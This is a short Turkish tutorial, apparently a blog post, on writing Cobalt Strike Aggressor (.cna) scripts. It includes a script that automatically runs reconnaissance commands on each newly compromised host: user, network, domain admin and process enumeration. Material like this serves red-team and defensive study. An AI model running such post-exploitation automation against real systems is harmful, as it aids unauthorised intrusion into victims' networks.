Cobalt Strikg GUI’yı Aggressor Script Language ile genişletilip ve değiştirilebilir.Örneğin post-exploitation da kullanılan bir araç yazdığınızı varsayalım ve bunu örneğin bir beacon geldiğini yani birisini hackledik ve bizde bi shell açıldığını düşünün ve bu açılır açılmaz biz diyoruz ki otomatik olarak whoami yada ipconfig komutlarını direct çalıştırsın, diğer bir örnek olarak bir beacon geldiğinde direct olarak bizim telegram hesabımıza bot yazdığımız için bildirim gelsin gibi gibi…. 😊
Bunu cobalt strike’a eklemek için kendi “.cna” uzantılı bir dosyaya ekleyip bunu çalıştırabilirsiniz.Google üzerinde çok fazla bulabilirsiniz bunları ve Aggressor script eklemek için
Cobalt Strike -> Script Manager ‘da load ekleyebiliriz
Cobalt Strike -> Script Console bölümünde ise aggressor script bölümüne erişebiliriz.
Beacon_Initial.cna dosyası oluşturun ve içerisine bunu ekleyin.
on beacon_initial {
# Her yeni beacon geldiğinde otomatik çalışır
binput($1, "dotnetguard.blog Otomatik Recon..");
bshell($1, "whoami");
bshell($1, "ipconfig /all");
bshell($1, "net group \"Domain Admins\" /domain");
bshell($1, "tasklist /v");
}
Load ile yüklemeyi yaptıktan sonra artık göreceksiniz ki bizim için Beacon_Initial.cna yüklenmiş oldu.
İstersek bunu GUI değil Script Console ile de yüklemesini yapabiliriz. Öncelikle GUI tarafında Unload’a tıklayın. Yani bu scripti kaldırın.
$ help
$ load <.CNA dosyasına pathi verin>
$ ls (CNA’leri listeleyin.)
$ unload CNADOSYASI